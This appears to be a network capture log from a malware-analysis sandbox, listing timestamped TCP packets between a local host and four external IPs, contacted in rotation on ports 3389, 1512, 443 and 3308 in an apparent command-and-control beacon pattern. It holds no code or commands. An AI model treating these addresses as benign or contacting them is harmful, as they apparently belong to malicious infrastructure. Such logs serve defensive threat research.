Jan 11, 2021 20:48:47.268572092 CET	49283	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:47.322546959 CET	3389	49283	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:47.322841883 CET	49283	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:47.361830950 CET	3389	49283	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:47.376950026 CET	3389	49283	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:47.376993895 CET	3389	49283	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:47.467606068 CET	3389	49283	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:47.467694998 CET	3389	49283	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:47.467864037 CET	49283	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:47.467947006 CET	49283	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:47.473504066 CET	49283	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:47.527708054 CET	3389	49283	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:47.596831083 CET	49284	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:47.652570009 CET	1512	49284	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:47.652690887 CET	49284	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:47.653671026 CET	49284	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:47.706485987 CET	1512	49284	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:47.713635921 CET	1512	49284	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:47.713670969 CET	1512	49284	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:47.713813066 CET	49284	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:47.720113039 CET	49284	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:47.774271011 CET	1512	49284	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:47.774372101 CET	49284	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:47.781438112 CET	49284	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:47.781518936 CET	49284	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:47.834697962 CET	1512	49284	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:47.834836960 CET	49284	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:47.871732950 CET	1512	49284	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:47.887814045 CET	1512	49284	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:47.986684084 CET	1512	49284	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:47.986743927 CET	1512	49284	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:47.987044096 CET	49284	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:47.992283106 CET	49284	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:48.045277119 CET	1512	49284	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:48.110294104 CET	49285	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:48.162640095 CET	443	49285	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:48.162771940 CET	49285	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:48.164540052 CET	49285	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:48.216659069 CET	443	49285	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:48.231997967 CET	443	49285	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:48.232177973 CET	49285	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:48.247185946 CET	49285	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:48.301698923 CET	443	49285	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:48.301974058 CET	49285	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:48.312342882 CET	49285	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:48.312690973 CET	49285	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:48.365003109 CET	443	49285	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:48.365426064 CET	49285	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:48.403418064 CET	443	49285	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:48.417593956 CET	443	49285	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:48.537137985 CET	443	49285	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:48.537189007 CET	443	49285	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:48.537453890 CET	49285	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:48.543361902 CET	49285	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:48.595463991 CET	443	49285	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:48.661741018 CET	49286	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:48.705209017 CET	3308	49286	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:48.705357075 CET	49286	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:48.707004070 CET	49286	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:48.750375986 CET	3308	49286	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:48.761039019 CET	3308	49286	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:48.761094093 CET	3308	49286	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:48.761197090 CET	49286	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:48.761246920 CET	49286	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:48.779354095 CET	49286	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:48.824449062 CET	3308	49286	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:48.824790001 CET	49286	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:48.835097075 CET	49286	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:48.835436106 CET	49286	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:48.878793001 CET	3308	49286	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:48.879084110 CET	49286	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:48.918457031 CET	3308	49286	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:48.928376913 CET	3308	49286	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:48.928419113 CET	3308	49286	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:49.279118061 CET	3308	49286	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:49.279510975 CET	49286	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:49.322906971 CET	3308	49286	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:49.325189114 CET	49286	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:49.325294971 CET	49286	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:49.368837118 CET	3308	49286	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:49.437918901 CET	49287	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:49.492167950 CET	3389	49287	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:49.492332935 CET	49287	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:49.493715048 CET	49287	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:49.547286034 CET	3389	49287	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:49.562937021 CET	3389	49287	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:49.562990904 CET	3389	49287	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:49.563091040 CET	49287	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:49.563142061 CET	49287	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:49.580616951 CET	49287	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:49.643107891 CET	3389	49287	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:49.643506050 CET	49287	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:49.654495001 CET	49287	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:49.654562950 CET	49287	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:49.654587030 CET	49287	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:49.708470106 CET	3389	49287	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:49.708830118 CET	49287	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:49.747721910 CET	3389	49287	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:49.762572050 CET	3389	49287	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:49.762645960 CET	3389	49287	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:49.853379011 CET	3389	49287	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:49.853493929 CET	3389	49287	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:49.853832006 CET	49287	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:49.859436035 CET	49287	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:49.913080931 CET	3389	49287	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:49.967323065 CET	49288	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:50.020337105 CET	1512	49288	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:50.020423889 CET	49288	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:50.021213055 CET	49288	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:50.073971987 CET	1512	49288	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:50.080748081 CET	1512	49288	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:50.080790043 CET	1512	49288	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:50.080816984 CET	49288	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:50.080847025 CET	49288	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:50.088085890 CET	49288	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:50.142404079 CET	1512	49288	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:50.142523050 CET	49288	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:50.146560907 CET	49288	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:50.146696091 CET	49288	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:50.199556112 CET	1512	49288	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:50.199842930 CET	49288	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:50.239614010 CET	1512	49288	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:50.253014088 CET	1512	49288	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:50.354218006 CET	1512	49288	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:50.354274035 CET	1512	49288	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:50.354532003 CET	49288	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:50.356650114 CET	49288	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:50.409636974 CET	1512	49288	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:50.467216015 CET	49289	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:50.519905090 CET	443	49289	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:50.520034075 CET	49289	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:50.521816015 CET	49289	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:50.574171066 CET	443	49289	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:50.588830948 CET	443	49289	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:50.589014053 CET	49289	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:50.606158972 CET	49289	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:50.660872936 CET	443	49289	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:50.661243916 CET	49289	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:50.671511889 CET	49289	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:50.671591997 CET	49289	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:50.724414110 CET	443	49289	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:50.724695921 CET	49289	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:50.763480902 CET	443	49289	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:50.777260065 CET	443	49289	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:50.777338028 CET	443	49289	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:50.895323038 CET	443	49289	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:50.895379066 CET	443	49289	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:50.895643950 CET	49289	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:50.903228998 CET	49289	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:50.955601931 CET	443	49289	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:51.009064913 CET	49290	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:51.052561998 CET	3308	49290	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:51.052800894 CET	49290	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:51.054208040 CET	49290	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:51.097438097 CET	3308	49290	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:51.108515978 CET	3308	49290	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:51.108553886 CET	3308	49290	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:51.108675957 CET	49290	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:51.108752012 CET	49290	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:51.126180887 CET	49290	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:51.172557116 CET	3308	49290	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:51.172842026 CET	49290	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:51.183692932 CET	49290	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:51.184000969 CET	49290	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:51.227273941 CET	3308	49290	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:51.228770971 CET	49290	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:51.267332077 CET	3308	49290	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:51.272435904 CET	3308	49290	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:51.272538900 CET	3308	49290	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:51.385041952 CET	3308	49290	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:51.385106087 CET	3308	49290	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:51.385314941 CET	49290	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:51.492032051 CET	49290	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:51.535310030 CET	3308	49290	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:51.608798027 CET	49291	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:51.662611961 CET	3389	49291	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:51.662789106 CET	49291	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:51.664120913 CET	49291	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:51.717715025 CET	3389	49291	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:51.737150908 CET	3389	49291	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:51.737204075 CET	3389	49291	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:51.737411022 CET	49291	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:51.737454891 CET	49291	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:51.749113083 CET	49291	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:51.812499046 CET	3389	49291	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:51.812798023 CET	49291	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:51.822436094 CET	49291	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:51.822514057 CET	49291	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:51.876852989 CET	3389	49291	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:51.877126932 CET	49291	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:51.915976048 CET	3389	49291	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:51.930938005 CET	3389	49291	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:51.930988073 CET	3389	49291	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:52.021939993 CET	3389	49291	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:52.022037029 CET	3389	49291	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:52.022303104 CET	49291	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:52.093672037 CET	49291	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:52.147783041 CET	3389	49291	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:52.196432114 CET	49292	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:52.249435902 CET	1512	49292	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:52.249577045 CET	49292	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:52.251435995 CET	49292	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:52.304339886 CET	1512	49292	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:52.311486006 CET	1512	49292	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:52.311532021 CET	1512	49292	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:52.311572075 CET	49292	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:52.311625004 CET	49292	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:52.318324089 CET	49292	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:52.372694016 CET	1512	49292	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:52.372849941 CET	49292	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:52.376833916 CET	49292	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:52.376939058 CET	49292	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:52.429835081 CET	1512	49292	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:52.430052042 CET	49292	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:52.467613935 CET	1512	49292	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:52.483061075 CET	1512	49292	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:52.582829952 CET	1512	49292	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:52.582891941 CET	1512	49292	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:52.583117008 CET	49292	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:52.777105093 CET	49292	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:52.830244064 CET	1512	49292	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:53.005826950 CET	49293	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:53.058163881 CET	443	49293	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:53.058283091 CET	49293	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:53.085566044 CET	49293	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:53.137836933 CET	443	49293	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:53.152586937 CET	443	49293	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:53.152875900 CET	49293	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:53.192322969 CET	49293	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:53.246912956 CET	443	49293	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:53.246999979 CET	49293	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:53.257126093 CET	49293	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:53.257513046 CET	49293	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:53.309487104 CET	443	49293	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:53.309669018 CET	49293	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:53.361767054 CET	443	49293	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:53.480243921 CET	443	49293	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:53.480269909 CET	443	49293	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:53.480520010 CET	49293	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:53.486346960 CET	49293	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:53.538431883 CET	443	49293	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:53.602291107 CET	49294	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:53.645638943 CET	3308	49294	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:53.645870924 CET	49294	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:53.647387028 CET	49294	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:53.690537930 CET	3308	49294	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:53.702862978 CET	3308	49294	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:53.702889919 CET	3308	49294	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:53.702976942 CET	49294	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:53.721390963 CET	49294	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:53.766419888 CET	3308	49294	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:53.766612053 CET	49294	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:53.776098013 CET	49294	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:53.776431084 CET	49294	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:53.819485903 CET	3308	49294	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:53.819612980 CET	49294	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:53.858875036 CET	3308	49294	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:53.862673044 CET	3308	49294	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:53.862699032 CET	3308	49294	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:53.976088047 CET	3308	49294	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:53.976115942 CET	3308	49294	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:53.976325989 CET	49294	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:53.981966019 CET	49294	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:54.025024891 CET	3308	49294	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:54.103033066 CET	49295	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:54.156841040 CET	3389	49295	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:54.157017946 CET	49295	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:54.158552885 CET	49295	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:54.212254047 CET	3389	49295	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:54.232464075 CET	3389	49295	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:54.232500076 CET	3389	49295	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:54.232712030 CET	49295	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:54.247366905 CET	49295	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:54.318414927 CET	3389	49295	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:54.318814993 CET	49295	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:54.328071117 CET	49295	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:54.328118086 CET	49295	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:54.381839991 CET	3389	49295	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:54.381974936 CET	49295	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:54.422034979 CET	3389	49295	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:54.436256886 CET	3389	49295	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:54.436281919 CET	3389	49295	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:54.526335955 CET	3389	49295	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:54.526376963 CET	3389	49295	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:54.526638031 CET	49295	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:54.526694059 CET	49295	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:54.532630920 CET	49295	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:54.586848021 CET	3389	49295	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:54.651654959 CET	49296	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:54.704731941 CET	1512	49296	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:54.704842091 CET	49296	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:54.706368923 CET	49296	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:54.759489059 CET	1512	49296	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:54.766050100 CET	1512	49296	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:54.766068935 CET	1512	49296	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:54.766172886 CET	49296	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:54.782450914 CET	49296	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:54.836638927 CET	1512	49296	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:54.837040901 CET	49296	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:54.847027063 CET	49296	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:54.847397089 CET	49296	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:54.900422096 CET	1512	49296	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:54.900543928 CET	49296	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:54.953592062 CET	1512	49296	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:55.057214022 CET	1512	49296	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:55.057235956 CET	1512	49296	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:55.058440924 CET	49296	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:55.059422970 CET	49296	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:55.112468958 CET	1512	49296	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:55.185481071 CET	49297	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:55.237759113 CET	443	49297	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:55.237929106 CET	49297	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:55.239038944 CET	49297	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:55.291363955 CET	443	49297	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:55.305953026 CET	443	49297	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:55.306134939 CET	49297	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:55.321564913 CET	49297	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:55.376364946 CET	443	49297	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:55.376652956 CET	49297	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:55.385588884 CET	49297	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:55.385782003 CET	49297	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:55.438030958 CET	443	49297	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:55.438180923 CET	49297	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:55.475590944 CET	443	49297	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:55.490621090 CET	443	49297	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:55.609045982 CET	443	49297	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:55.609086990 CET	443	49297	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:55.609286070 CET	49297	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:55.614778042 CET	49297	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:55.666924953 CET	443	49297	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:55.724612951 CET	49298	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:55.768136978 CET	3308	49298	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:55.768248081 CET	49298	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:55.769807100 CET	49298	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:55.812988043 CET	3308	49298	80.86.91.27	192.168.2.22
